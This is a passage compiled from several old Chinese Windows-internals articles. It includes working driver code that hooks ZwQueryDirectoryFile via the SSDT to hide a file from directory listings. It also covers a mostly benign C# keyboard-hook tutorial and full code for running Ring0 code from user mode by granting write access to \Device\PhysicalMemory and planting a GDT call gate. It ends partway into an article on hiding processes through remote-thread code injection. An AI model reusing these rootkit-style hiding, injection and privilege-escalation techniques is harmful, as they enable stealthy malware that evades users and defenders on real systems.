OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN BOOLEAN bRestartQuery);
//定义一个原函数指针
REALZWQUERYSYSTEMINFORMATION RealZwQuerySystemInformation;
3.定义替换API函数的原型：
NTSTATUS HookZwQueryDirectoryFile(
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN BOOLEAN bRestartQuery);
4.在DriverEntry（驱动入口）函数中加入如下申明：
//保存真正的ZwQueryDirectoryFile函数地址
RealZwQueryDirectoryFile=(REALZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile));
//把自定义的替换函数指针指向真正的ZwQueryDirectoryFile函数
(REALZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile))=HookZwQueryDirectoryFile;
5.在DriverUnload（驱动卸载函数）函数中加入恢复代码：
//恢复原来的函数指针
(REALZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile))=RealZwQueryDirectoryFile;
6.现在准备工作做好了，函数指针都已经设置转向了，剩下的是实现这个我们自定义的替换函数HookZwQueryDirectoryFile，代码如下：
NTSTATUS HookZwQueryDirectoryFile(
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN BOOLEAN bRestartQuery)
{
NTSTATUS rc;
ULONG CR0VALUE;
ANSI_STRING ansiFileName,ansiDirName,HideDirFile;
UNICODE_STRING uniFileName;
//初始化要过虑的文件名这里是debug.exe
RtlInitAnsiString(&HideDirFile,"DBGVIEW.EXE");
// 执行真正的ZwQueryDirectoryFile函数
rc = ((REALZWQUERYDIRECTORYFILE)(RealZwQueryDirectoryFile))(
hFile,
hEvent,
IoApcRoutine,
IoApcContext,
pIoStatusBlock,
FileInformationBuffer,
FileInformationBufferLength,
FileInfoClass,
bReturnOnlyOneEntry,
PathMask,
bRestartQuery);
/*如果执行成功（而且FILE_INFORMATION_CLASS的值为FileBothDirectoryInformation，我们就进行处理，过滤*/
if(NT_SUCCESS(rc)&& (FileInfoClass == FileBothDirectoryInformation))
{
PFILE_BOTH_DIR_INFORMATION pFileInfo;
PFILE_BOTH_DIR_INFORMATION pLastFileInfo;
BOOL bLastOne;
//把执行结果赋给pFileInfo
pFileInfo = (PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer;
pLastFileInfo = NULL;
//循环检查
do
{
bLastOne = !( pFileInfo->NextEntryOffset );
RtlInitUnicodeString(&uniFileName,pFileInfo->FileName);
RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);
RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);
RtlUpperString(&ansiFileName,&ansiDirName);
//打印结果，用debugview可以查看打印结果
DbgPrint("ansiFileName :%s\n",ansiFileName.Buffer);
DbgPrint("HideDirFile :%s\n",HideDirFile.Buffer);
// 开始进行比较，如果找到了就隐藏这个文件或者目录
if(
        RtlCompareMemory(ansiFileName.Buffer,HideDirFile.Buffer,HideDirFile.Length
        ) == HideDirFile.Length)
{
DbgPrint("This is
        HideDirFile!\n");
if(bLastOne)
{
if(pFileInfo ==
        (PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer )
{
rc =
        0x80000006;
        //隐藏文件或者目录；
}
else
{
pLastFileInfo->NextEntryOffset =
        0;
}
break;
}
else //指针往后移动
{
int iPos =
        ((ULONG)pFileInfo) - (ULONG)FileInformationBuffer;
int iLeft =
        (DWORD)FileInformationBufferLength - iPos -
        pFileInfo->NextEntryOffset;
RtlCopyMemory( (PVOID)pFileInfo,
        (PVOID)( (char *)pFileInfo + pFileInfo->NextEntryOffset ),
        (DWORD)iLeft );
continue;
}
}
pLastFileInfo =
        pFileInfo;
pFileInfo = (PFILE_BOTH_DIR_INFORMATION)((char *)pFileInfo
        + pFileInfo->NextEntryOffset);
}while(!bLastOne);
RtlFreeAnsiString(&ansiDirName);
RtlFreeAnsiString(&ansiFileName);
}
return(rc);
}
本代码在开发机器（WINXP+SP1+XPDDK）上测试通过！
具体程序体请看lornwolf写的skykernel.c，这里不再列出！下载地址:
http://lornwolf.8u8.com/software/LornWolf.zip
申明：
本代码不提高任何担保和技术支持，只供做简单驱动编写练习用！如有使用本代码造成任何后果一概与作者无关！
正文完


一。写在最前
本文的内容只想以最通俗的语言说明钩子的使用方法，具体到钩子的详细介绍可以参照下面的网址：
http://www.microsoft.com/china/community/program/originalarticles/techdoc/hook.mspx
二。了解一下钩子
从字面上理解，钩子就是想钩住些东西，在程序里可以利用钩子提前处理些Windows消息。
例子：有一个Form，Form里有个TextBox，我们想让用户在TextBox里输入的时候，不管敲键盘的哪个键，TextBox里显示的始终为"A"，这时我们就可以利用钩子监听键盘消息，先往Windows的钩子链表中加入一个自己写的钩子监听键盘消息，只要一按下键盘就会产生一个键盘消息，我们的钩子在这个消息传到TextBox之前先截获它，让TextBox显示一个"A"，之后结束这个消息，这样TextBox得到的总是"A"。
消息截获顺序：既然是截获消息，总要有先有后，钩子是按加入到钩子链表的顺序决定消息截获顺序。就是说最后加入到链表的钩子最先得到消息。
截获范围：钩子分为线程钩子和全局钩子，线程钩子只能截获本线程的消息，全局钩子可以截获整个系统消息。我认为应该尽量使用线程钩子，全局钩子如果使用不当可能会影响到其他程序。

三。开始通俗
这里就以上文提到的简单例子做个线程钩子。
第一步：声明API函数
使用钩子，需要使用WindowsAPI函数，所以要先声明这些API函数。
// 安装钩子
[DllImport("user32.dll",CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)]
public static extern int SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hInstance, int threadId);
// 卸载钩子
[DllImport("user32.dll",CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)]
public static extern bool UnhookWindowsHookEx(int idHook);
// 继续下一个钩子
[DllImport("user32.dll",CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)]
public static extern int CallNextHookEx(int idHook, int nCode, Int32 wParam, IntPtr lParam);
// 取得当前线程编号
[DllImport("kernel32.dll")]
static extern int GetCurrentThreadId();
声明一下API函数，以后就可以直接调用了。
第二步：声明、定义。
public delegate int HookProc(int nCode, Int32 wParam, IntPtr lParam);
static int hKeyboardHook = 0;
HookProc KeyboardHookProcedure;
先解释一下委托，钩子必须使用标准的钩子子程，钩子子程就是一段方法，就是处理上面例子中提到的让TextBox显示"A"的操作。
钩子子程必须按照HookProc(int nCode, Int32 wParam, IntPtr lParam)这种结构定义，三个参数会得到关于消息的数据。
当使用SetWindowsHookEx函数安装钩子成功后会返回钩子子程的句柄，hKeyboardHook变量记录返回的句柄，如果hKeyboardHook不为0则说明钩子安装成功。
第三步：写钩子子程
钩子子程就是钩子所要做的事情。
private int KeyboardHookProc(int nCode, Int32
        wParam, IntPtr lParam)
{
if (nCode >=
        0)
{
textbox1.Text = "A";
return 1;
}
return
        CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
}
我们写一个方法，返回一个int值，包括三个参数。如上面给出的代码，符合钩子子程的标准。
nCode参数是钩子代码，钩子子程使用这个参数来确定任务，这个参数的值依赖于Hook类型。
wParam和lParam参数包含了消息信息，我们可以从中提取需要的信息。
方法的内容可以根据需要编写，我们需要TextBox显示"A"，那我们就写在这里。当钩子截获到消息后就会调用钩子子程，这段程序结束后才往下进行。截获的消息怎么处理就要看子程的返回值了，如果返回1，则结束消息，这个消息到此为止，不再传递。如果返回0或调用CallNextHookEx函数则消息出了这个钩子继续往下传递，也就是传给消息真正的接受者。
第四步：安装钩子、卸载钩子
准备工作都完成了，剩下的就是把钩子装入钩子链表。
我们可以写两个方法在程序中合适位置调用。代码如下：
// 安装钩子
public void
        HookStart()
{
if(hMouseHook ==
        0)
{
// 创建HookProc实例
MouseHookProcedure = new
        HookProc(MouseHookProc);
// 设置线程钩子
hMouseHook =
        SetWindowsHookEx( 2, KeyboardHookProcedure, IntPtr.Zero,
GetCurrentThreadId());
//
        如果设置钩子失败
if(hMouseHook ==
        0 )
{
HookStop();
throw new Exception("SetWindowsHookEx
        failed.");
}
}
}
// 卸载钩子
public void
        HookStop()
{
bool retKeyboard =
        true;
if(hKeyboardHook != 0)
{
retKeyboard =
        UnhookWindowsHookEx(hKeyboardHook);
hKeyboardHook = 0;
}
if
        (!(retMouse && retKeyboard)) throw new
        Exception("UnhookWindowsHookEx
failed.");
}
安装钩子和卸载钩子关键就是SetWindowsHookEx和UnhookWindowsHookEx方法。
SetWindowsHookEx (int idHook, HookProc lpfn, IntPtr hInstance, int threadId) 函数将钩子加入到钩子链表中，说明一下四个参数：
idHook 钩子类型，即确定钩子监听何种消息，上面的代码中设为2，即监听键盘消息并且是线程钩子，如果是全局钩子监听键盘消息应设为13，线程钩子监听鼠标消息设为7，全局钩子监听鼠标消息设为14。
lpfn 钩子子程的地址指针。如果dwThreadId参数为0 或是一个由别的进程创建的线程的标识，lpfn必须指向DLL中的钩子子程。 除此以外，lpfn可以指向当前进程的一段钩子子程代码。钩子函数的入口地址，当钩子钩到任何消息后便调用这个函数。
hInstance 应用程序实例的句柄。标识包含lpfn所指的子程的DLL。如果threadId 标识当前进程创建的一个线程，而且子程代码位于当前进程，hInstance必须为NULL。可以很简单的设定其为本应用程序的实例句柄。
threaded 与安装的钩子子程相关联的线程的标识符。如果为0，钩子子程与所有的线程关联，即为全局钩子。
上面代码中的SetWindowsHookEx方法安装的是线程钩子，用GetCurrentThreadId()函数得到当前的线程ID，钩子就只监听当前线程的键盘消息。
UnhookWindowsHookEx (int idHook) 函数用来卸载钩子，卸载钩子与加入钩子链表的顺序无关，并非后进先出。
四。节外生枝
安装全局钩子
上文使用的是线程钩子，如果要使用全局钩子在钩子的安装上略有不同。如下：
SetWindowsHookEx( 13,KeyboardHookProcedure,
Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]),0)
这条语句即定义全局钩子。
子程消息处理
钩子子程可以得到两个关于消息信息的参数wPrama、lParam。怎么将这两个参数转成我们更容易理解的消息呢。
对于鼠标消息，我们可以定义下面这个结构：
public struct MSG
{
public Point p;
public IntPtr HWnd;
public uint wHitTestCode;
public int dwExtraInfo;
}
对于键盘消息，我们可以定义下面这个结构：
public struct KeyMSG
{
public int vkCode;
public int scanCode;
public int flags;
public int time;
public int dwExtraInfo;
}
然后我们可以在子程里用下面语句将lParam数据转换成MSG或KeyMSG结构数据
MSG m = (MSG) Marshal.PtrToStructure(lParam,
        typeof(MSG));
KeyMSG m = (KeyMSG) Marshal.PtrToStructure(lParam,
        typeof(KeyMSG));
这样可以更方便的得到鼠标消息或键盘消息的相关信息，例如p即为鼠标坐标，HWnd即为鼠标点击的控件的句柄，vkCode即为按键代码。
注：这条语句对于监听鼠标消息的线程钩子和全局钩子都可以使用，但对监听键盘消息的线程钩子使用会出错，目前在找原因。
如果是监听键盘消息的线程钩子，我们可以根据lParam值的正负确定按键是按下还是抬起，根据wParam值确定是按下哪个键。
// 按下的键
Keys keyData =
        (Keys)wParam;
if(lParam.ToInt32() >
        0)
{
// 键盘按下
}
if(lParam.ToInt32() <
        0)
{
// 键盘抬起
}
如果是监听键盘消息的全局钩子，按键是按下还是抬起要根据wParam值确定。
wParam = = 0x100 // 键盘按下
wParam = = 0x101 // 键盘抬起
五。写在最后
钩子的基本用法都介绍完了，总结一下，钩子就是从正常的消息作业中把要监听的消息钩出来，进入到钩子子程进行一些操作，之后再放回到正常的作业中或结束该消息


Windows NT/2000/XP下不用驱动的Ring0代码实现

WebCrazy(http://webcrazy.yeah.net/)
大家知道，Windows NT/2000为实现其可靠性，严格将系统划分为内核模式与用户模式，在i386系统中分别对应CPU的Ring0与Ring3级别。Ring0下，可以执行特权级指令，对任何I/O设备都有访问权等等。要实现从用户态进入核心态，即从Ring 3进入Ring 0必须借助CPU的某种门机制，如中断门、调用门等。而Windows NT/2000提供用户态执行系统服务(Ring 0例程)的此类机制即System Service的int 2eh中断服务等，严格的参数检查，只能严格的执行Windows NT/2000提供的服务，而如果想执行用户提供的Ring 0代码(指运行在Ring 0权限的代码)，常规方法似乎只有编写设备驱动程序。本文将介绍一种在用户态不借助任何驱动程序执行Ring0代码的方法。
Windows NT/2000将设备驱动程序调入内核区域(常见的位于地址0x80000000上)，由DPL为0的GDT项8，即cs为8时实现Ring 0权限。本文通过在系统中构造一个指向我们的代码的调用门(CallGate)，实现Ring0代码。基于这个思路，为实现这个目的主要是构造自己的CallGate。CallGate由系统中叫Global Descriptor Table(GDT)的全局表指定。GDT地址可由i386指令sgdt获得(sgdt不是特权级指令，普通Ring 3程序均可执行)。GDT地址在Windows NT/2000保存于KPCR(Processor Control Region)结构中(见《再谈Windows NT/2000环境切换》)。GDT中的CallGate是如下的格式：
typedef struct
{
unsigned short offset_0_15;
unsigned short selector;
unsigned char param_count : 4;
unsigned char some_bits : 4;
unsigned char type : 4;
unsigned char app_system : 1;
unsigned char dpl : 2;
unsigned char present : 1;
unsigned short offset_16_31;
}
        CALLGATE_DESCRIPTOR;
GDT位于内核区域，一般用户态的程序是不可能对这段内存区域有直接的访问权。幸运的是Windows NT/2000提供了一个叫PhysicalMemory的Section内核对象位于\Device的路径下。顾名思义，通过这个Section对象可以对物理内存进行操作。用objdir.exe对这个对象分析如下：
C:\NTDDK\bin>objdir /D \Device
PhysicalMemory
Section
DACL -
Ace[ 0] - Grant - 0xf001f - NT AUTHORITY\SYSTEM
Inherit:
Access: 0x001F and ( D RCtl WOwn WDacl )
Ace[ 1] - Grant - 0x2000d - BUILTIN\Administrators
Inherit:
Access: 0x000D and ( RCtl )
从dump出的这个对象DACL的Ace可以看出默认情况下只有SYSTEM用户才有对这个对象的读写权限，即对物理内存有读写能力，而Administrator只有读权限，普通用户根本就没有权限。不过如果我们有Administrator权限就可以通过GetSecurityInfo、SetEntriesInAcl与SetSecurityInfo这些API来修改这个对象的ACE。这也是我提供的代码需要Administrator的原因。实现的代码如下：
VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)
{
PACL pDacl=NULL;
PACL pNewDacl=NULL;
PSECURITY_DESCRIPTOR pSD=NULL;
DWORD dwRes;
EXPLICIT_ACCESS
        ea;
if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,
NULL,NULL,&pDacl,NULL,&pSD)!=ERROR_SUCCESS)
{
printf( "GetSecurityInfo Error %u\n", dwRes );
goto CleanUp;
}
ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
ea.grfAccessPermissions = SECTION_MAP_WRITE;
ea.grfAccessMode =
        GRANT_ACCESS;
ea.grfInheritance= NO_INHERITANCE;
ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
ea.Trustee.TrusteeType
        = TRUSTEE_IS_USER;
ea.Trustee.ptstrName = "CURRENT_USER";

if(dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl)!=ERROR_SUCCESS)
{
printf( "SetEntriesInAcl %u\n", dwRes );
goto CleanUp;
}
if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!=ERROR_SUCCESS)
{
printf("SetSecurityInfo %u\n",dwRes);
goto CleanUp;
}
CleanUp:
if(pSD)
LocalFree(pSD);
if(pNewDacl)
LocalFree(pSD);
}
这段代码对给定HANDLE的对象增加了如下的ACE:
PhysicalMemory
Section
DACL -
Ace[ 0] - Grant - 0x2 - WEBCRAZY\Administrator
Inherit:
Access: 0x0002 //SECTION_MAP_WRITE
这样我们在有Administrator权限的条件下就有了对物理内存的读写能力。但若要修改GDT表实现Ring 0代码。我们将面临着另一个难题，因为sgdt指令获得的GDT地址是虚拟地址(线性地址)，我们只有知道GDT表的物理地址后才能通过\Device\PhysicalMemory对象修改GDT表，这就牵涉到了线性地址转化成物理地址的问题。我们先来看一看Windows NT/2000是如何实现这个的：
kd> u nt!MmGetPhysicalAddress l 30
ntoskrnl!MmGetPhysicalAddress:
801374e0 56 push esi
801374e1 8b742408 mov esi,[esp+0x8]
801374e5 33d2 xor edx,edx
801374e7 81fe00000080 cmp esi,0x80000000
801374ed 722c jb ntoskrnl!MmGetPhysicalAddress+0x2b (8013751b)
801374ef 81fe000000a0 cmp esi,0xa0000000
801374f5 7324 jnb ntoskrnl!MmGetPhysicalAddress+0x2b (8013751b)
801374f7 39153ce71780 cmp [ntoskrnl!MmKseg2Frame (8017e73c)],edx
801374fd 741c jz ntoskrnl!MmGetPhysicalAddress+0x2b (8013751b)
801374ff 8bc6 mov eax,esi
80137501 c1e80c shr eax,0xc
80137504 25ffff0100 and eax,0x1ffff
80137509 6a0c push 0xc
8013750b 59 pop ecx
8013750c e8d3a7fcff call ntoskrnl!_allshl (80101ce4)
80137511 81e6ff0f0000 and esi,0xfff
80137517 03c6 add eax,esi
80137519 eb17 jmp ntoskrnl!MmGetPhysicalAddress+0x57 (80137532)
8013751b 8bc6 mov eax,esi
8013751d c1e80a shr eax,0xa
80137520 25fcff3f00 and eax,0x3ffffc
80137525 2d00000040 sub eax,0x40000000
8013752a 8b00 mov eax,[eax]
8013752c a801 test al,0x1
8013752e 7506 jnz ntoskrnl!MmGetPhysicalAddress+0x44 (80137536)
80137530 33c0 xor eax,eax
80137532 5e pop esi
80137533 c20400 ret 0x4
从这段汇编代码可看出如果线性地址在0x80000000与0xa0000000范围内，只是简单的进行移位操作(位于801374ff-80137519指令间)，并未查页表。我想Microsoft这样安排肯定是出于执行效率的考虑。这也为我们指明了一线曙光，因为GDT表在Windows NT/2000中一般情况下均位于这个区域(我不知道/3GB开关的Windows NT/2000是不是这种情况)。
经过这样的分析，我们就可以只通过用户态程序修改GDT表了。而增加一个CallGate就不是我可以介绍的了，找本Intel手册自己看一看了。具体实现代码如下：
typedef struct gdtr {
short Limit;
short BaseLow;
short BaseHigh;
} Gdtr_t, *PGdtr_t;
ULONG MiniMmGetPhysicalAddress(ULONG
        virtualaddress)
{
if(virtualaddress<0x80000000||virtualaddress>=0xA0000000)
return 0;
return virtualaddress&0x1FFFF000;
}
BOOL ExecRing0Proc(ULONG Entry,ULONG seglen)
{
Gdtr_t gdt;
__asm sgdt gdt;
ULONG mapAddr=MiniMmGetPhysicalAddress(gdt.BaseHigh<<16U|gdt.BaseLow);
if(!mapAddr) return 0;
HANDLE hSection=NULL;
NTSTATUS status;
OBJECT_ATTRIBUTES objectAttributes;
UNICODE_STRING objName;
CALLGATE_DESCRIPTOR *cg;
status = STATUS_SUCCESS;
RtlInitUnicodeString(&objName,L"\\Device\\PhysicalMemory");
InitializeObjectAttributes(&objectAttributes,
&objName,
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
NULL,
(PSECURITY_DESCRIPTOR) NULL);
status = ZwOpenSection(&hSection,SECTION_MAP_READ|SECTION_MAP_WRITE,&objectAttributes);
if(status == STATUS_ACCESS_DENIED){
status
        =
        ZwOpenSection(&hSection,READ_CONTROL|WRITE_DAC,&objectAttributes);
SetPhyscialMemorySectionCanBeWrited(hSection);
ZwClose(hSection);
status
        =ZwOpenSection(&hSection,SECTION_MAP_WRITE|SECTION_MAP_WRITE,&objectAttributes);
}
if(status != STATUS_SUCCESS)
{
printf("Error Open PhysicalMemory Section
        Object,Status:%08X\n",status);
return 0;
}
PVOID BaseAddress;
BaseAddress=MapViewOfFile(hSection,
FILE_MAP_READ|FILE_MAP_WRITE,
0,
mapAddr, //low part
(gdt.Limit+1));
if(!BaseAddress)
{
printf("Error
        MapViewOfFile:");
PrintWin32Error(GetLastError());
return 0;
}
BOOL setcg=FALSE;
for(cg=(CALLGATE_DESCRIPTOR
        *)((ULONG)BaseAddress+(gdt.Limit&0xFFF8));(ULONG)cg>(ULONG)BaseAddress;cg--)
if(cg->type == 0){
cg->offset_0_15 = LOWORD(Entry);
cg->selector = 8;
cg->param_count = 0;
cg->some_bits = 0;
cg->type = 0xC; // 386 call gate
cg->app_system = 0; // A system descriptor
cg->dpl = 3; //
        Ring 3 code can call
cg->present = 1;
cg->offset_16_31 =
        HIWORD(Entry);
setcg=TRUE;
break;
}
if(!setcg){
ZwClose(hSection);
return 0;
}
short farcall[3];
farcall[2]=((short)((ULONG)cg-(ULONG)BaseAddress))|3; //Ring 3 callgate;
if(!VirtualLock((PVOID)Entry,seglen))
{
printf("Error VirtualLock:");
PrintWin32Error(GetLastError());
return 0;
}
SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_TIME_CRITICAL);
Sleep(0);
_asm call fword ptr [farcall]
SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_NORMAL);
VirtualUnlock((PVOID)Entry,seglen);
//Clear callgate
*(ULONG *)cg=0;
*((ULONG *)cg+1)=0;
ZwClose(hSection);
return TRUE;
}
我在提供的代码中演示了对Control Register与I/O端口的操作。CIH病毒在Windows 9X中就是因为获得Ring 0权限才有了一定的危害，但Windows NT/2000毕竟不是Windows 9X，她已经有了比较多的安全审核机制，本文提供的代码也要求具有Administrator权限，但如果系统存在某种漏洞，如缓冲区溢出等等，还是有可能获得这种权限的，所以我不对本文提供的方法负有任何的责任，所有讨论只是一个技术热爱者在讨论技术而已。谢谢！
参考资料：
1.Intel Corp<<Intel Architecture Software Developer's Manual,Volume 3>>


NT环境下进程隐藏的实现
作者：局部变量

    在NT环境下隐藏进程，也就是说在用户不知情的条件下，执行自己的代码的方法有很多种，比如说使用注册表插入DLL，使用Windows挂钩等等。其中比较有代表性的是Jeffrey
Richer在《Windows核心编程》中介绍的LoadLibrary方法和罗云彬在《windows环境下32位汇编语言程序设计》中介绍的方法。两种方法的共同特点是：都采用远程线程，让自己的代码作为宿主进程的线程在宿主进程的地址空间中执行，从而达到隐藏的目的。相比较而言，Richer的方法由于可以使用c/c++等高级语言完成，理解和实现都比较容易，但他让宿主进程使用LoadLibrary来装入新的DLL，所以难免留下蛛丝马迹，隐藏效果并不十分完美。罗云彬的方法在隐藏效果上绝对一流，不过，由于他使用的是汇编语言，实现起来比较难（起码我写不了汇编程序:)）。笔者下面介绍的方法可以说是对上述两种方法的综合：采用c/c++编码，实现完全隐藏。并且，笔者的方法极大的简化了远程线程代码的编写，使其编写难度与普通程序基本一致。
基础知识
    让自己的代码作为宿主进程的线程，在宿主进程的地址空间中执行确实是个不错的主意。但是要自己把程序放到其他进程的地址空间中去运行，将面临一个严峻的问题：如何实现代码重定位。关于重定位问题，请看下面的程序：

… int func()//函数func的定义 … int a = func();//对func的调用 …这段程序经过编译链接后，可能会变成下面的样子： … 0x00401800: push ebp//这是函数func的入口 0x00401801: mov ebp, esp … 0x00402000: call 00401800//对函数func的调用 0x00402005: mov dword ptr [ebp-08], eax …
    请注意“0x00402000”处的直接寻址指令“call
00401800”。上面的程序在正常执行（由windows装入并执行）时，因为PE文件的文件头中含有足够的信息，所以系统能够将代码装入到合适的位置从而保证地址“00401800”处就是函数func的入口。但是当我们自己把程序装入到其他进程的地址空间中时，我们无法保证这一点，最终的结果可能会象下面这样：

… 0x00801800: push ebp//这是函数func的入口 0x00801801: mov ebp, esp … 0x00802000: call 00401800//00401800处是什么 0x00802005: mov dword ptr [ebp-08], eax …
    显然，运行上面的代码将产生不可预料的结果（最大的可能就是执行我们费尽千辛万苦才装入的代码的线程连同宿主进程一起被系统杀死）。
不知大家注意过系统中动态链接库（dll）的装入没有：一个dll被装入不同进程时，装入的地址可能不同，所以系统在这种情况下也必须解决dll中直接寻址指令的重定位问题。原来，绝大多数dll中都包含一些由编译器插入的用于重定位的数据，这些数据就构成了重定位表。系统根据重定位表中的数据，修改dll的代码，完成重定位操作。Richer使用的LoadLibrary也是借用了这一点。所以我们的重定位方法就是：替系统来完成工作，自己根据重定位表中的数据进行重定位。既然如此，那就让我们来了解一下重定位表吧。
    先来分析一下重定位表中需要保存哪些信息。还以上面的代码为例，要让它能正确执行，就必须把指令“call 00401800”改为“call
00801800”。进行这一改动需要两个数据，第一是改哪，也就是哪个内存地址中的数据需要修改，这里是“0x00802001”（不是“0x00802000”）；第二是怎么改，也就是应该给该位置的数据加上多少，这里是“0x00400000”。这第二个数据可以从dll的实际装入地址和建议装入地址计算而来，只要让前者减后者就行了。其中实际装入地址装入的时候就会知道，而建议装入地址记录在文件头的ImageBase字段中。所以，综上所述，重定位表中需要保存的信息是：有待修正的数据的地址。

位置
数据
描述

0000h
00001000h
页起始地址（RVA）

0004h

00000010h
重定位块长度

0008h

3006h
第一个重定位项，32位都须修正

000ah

300dh

第二个重定位项，32位都须修正

000ch

3015h
第三个重定位项，32位都须修正

000eh

0000h
第四个重定位项，用于对齐

0010h
00003000h
页起始地址（RVA）

0014h
0000000ch
重定位块长度

0018h

3008h

第一个重定位项，32位都须修正

001ah

302ah

第二个重定位项，32位都须修正

…
…
其他重定位块

0100h

0000h

重定位表结束标志
    知道了重定位表要保存哪些信息，我们再来看看PE文件的重定位表是如何保存这些信息的。重定位表的位置和大小可以从PE文件头的数据目录中的第六个IMAGE_DATA_DIRECTORY结构中获取。由于记录一个需要修正的代码地址需要一个双字（32位）的存储空间，而且程序中直接寻址指令也比较多，所以为了节省存储空间，windows把重定位表压缩了一下，以页（4k）为单位分块存储。在一个页面中寻址只需要12位的数据，把这12位数据再加上4位其它数据凑齐16位就构成一个重定位项。在每一页的所有重定位项前面附加一个双字表示页的起始地址，另一个双字表示本重定位块的长度，就可以记录一个页面中所有需要重定位的地址了。所有重定位块依次排列，最后以一个页起始地址为0的重定位块结束重定位表。上表是一个重定位表的例子（表中每种颜色代表一个重定位块）。

    上面提到每个重定位项还包括4位其他信息，这4位是重定位项的高4位，虽然有4位，但我们实际上能看到的值只有两个：0和3。0表示此项仅用作对齐，无其他意义；3表示重定位地址指向的双字的32位都需要修正。还要注意一点的是页起始地址是一个相对虚拟地址（RVA），必须加上装入地址才能得到实际页地址。例如上表中的第一个重定位项表示需要重定位的数据位于地址(假设装入地址是00400000h)：装入地址(00400000h)+页地址（1000h）+页内地址（0006h）=00401006h。

    至此，已经解决了重定位问题。应该说，现在我们已经能够开始编码了。但是，不知你是否读过其它有关进程隐藏的文章（使用类似Jeffrey
Richer的方法的例外）并且注意到它们总是以显式链接的方式调用Windows API，例如下面对MessageBox的调用：
//fnLoadLibrary和fnGetProcAddress分别指向Windows API函数LoadLibraryW和GetProcAddress
typedef int (WINAPI *FxMsgBox)(HWND, LPCWSTR,
        LPCTSTR, UINT); … HMODULE hUser32 = fnLoadLibrary(L"User32.dll");
        FxMsgBox fnMsgBox = (FxMsgBox)(fnGetProcAddress(hUser32,
        "MessageBoxW")); fnMsgBox(…); …
    那它们为什么不使用更简便的隐式链接呢？原来，要隐式链接dll并调用其中的输出函数，首先必须保证程序运行时dll已经被装入，否则就会出错。其次，调用API函数的指令格式一般是：call
dword ptr [xxxxxxxx]，要让程序正常运行，就必须在调用前在地址“xxxxxxxx”处填入目标函数的入口地址。程序正常装入时，系统会保证这两点。但是要自己装入程序，保证这两点就有一些麻烦，所以它们一般使用显式链接来绕过这两个问题。

    如果你不在乎为每一个API使用一个typedef和一个GetProcAddress的话（也许还有一个LoadLibrary），使用显式链接就已经足够好了。但是设想一下实际情况吧：你的代码中调用几十乃至数百个API的情况是很常见的，为每一个API写这些重复性的代码将使编程毫无乐趣可言，所以，我们一定要解决那两个问题，从而使用隐式链接。我们处理隐式链接问题的思路和前面处理重定位问题时是一样的，即：替系统来完成工作，在远程线程代码调用第一个API之前，装入dll并填好相关入口地址。

//摘自WINNT.H typedef struct _IMAGE_IMPORT_DESCRIPTOR { union { DWORD Characteristics; DWORD OriginalFirstThunk; }; DWORD TimeDateStamp; DWORD ForwarderChain; DWORD Name; DWORD FirstThunk; } IMAGE_IMPORT_DESCRIPTOR;
    还是先来学习一下基础知识—PE文件的输入表。输入表记录了一个Win32程序隐式加载的所有dll的文件名及从中引入的API的函数名，通过PE文件头的数据目录中的第二个IMAGE_DATA_DIRECTORY，我们可以获得输入表的位置和大小。实际上，输入表是一个由IMAGE_IMPORT_DESCRIPTOR结构组成的数组，每个结构对应一个需要隐式加载的dll文件，整个输入表以一个Characteristics字段为0的IMAGE_IMPORT_DESCRIPTOR结束。上面就是IMAGE_IMPORT_DESCRIPTOR结构的定义。

    其中的Name字段是一个RVA，指向此结构所对应的dll的文件名，文件名是以NULL结束的字符串。在PE文件中，OriginalFirstThunk和FirstThunk都是RVA，分别指向两个内容完全相同的IMAGE_THUNK_DATA结构的数组，每个结构对应一个引入的函数，整个数组以一个内容为0的IMAGE_THUNK_DATA结构作为结束标志。IMAGE_THUNK_DATA结构定义如下：

//摘自WINNT.H typedef struct _IMAGE_THUNK_DATA32 { union { DWORD ForwarderString; // PBYTE DWORD Function; // PDWORD DWORD Ordinal; DWORD AddressOfData; // PIMAGE_IMPORT_BY_NAME } u1; } IMAGE_THUNK_DATA32; typedef IMAGE_THUNK_DATA32 IMAGE_THUNK_DATA;
